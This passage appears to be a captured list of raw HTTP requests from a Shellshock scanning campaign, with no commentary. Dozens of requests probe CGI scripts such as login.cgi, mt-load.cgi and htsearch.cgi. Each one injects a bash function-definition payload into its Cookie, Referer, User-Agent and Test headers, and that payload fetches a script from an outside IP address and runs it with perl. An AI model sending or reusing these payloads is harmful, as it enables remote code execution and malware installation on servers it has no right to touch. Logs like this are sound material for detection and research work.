:; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/profile.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/probecontrol.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/printenvHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/powerup/r.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/postcards.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/pollssi.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/pollit/Poll_It_SSI_v2.0.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/php.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/photo/protected/manage.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/photo/manage.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/phf.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/pfdisplay.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/pfdispaly.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/perlshop.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/pbcgi.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/pagelog.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/nph-test.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/nph-publish.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/nph-exploitscanget.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/nph-emumail.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/nlog-smb.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/newsdesk.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/netpad.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/netauth.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/myguestbook.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/musicqueue.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/mt/mt-load.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/mt/mt-check.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/mt-static/mt-load.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/mt-static/mt-check.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/mrtg.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/mojo/mojo.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/moin.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/mmstdod.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/mini_logger.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/man.shHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/main_menu.plHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/main.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/mailnews.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/maillist.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/mail/nph-mr.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/mail/emumail.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/magiccard.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/MachineInfoHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/lwgate.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/lookwho.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/logit.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/login.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/log-reader.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/loadpage.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/lastlines.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/journal.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/jammail.plHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/infosrch.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/ImageFolio/admin/admin.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/imageFolio.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/ikonboard/help.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/if/admin/nph-build.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/icatHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/htsearch.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/html2wml.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/html2chtml.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/hsx.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/hitview.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/handler/netsonarHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/handler.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | 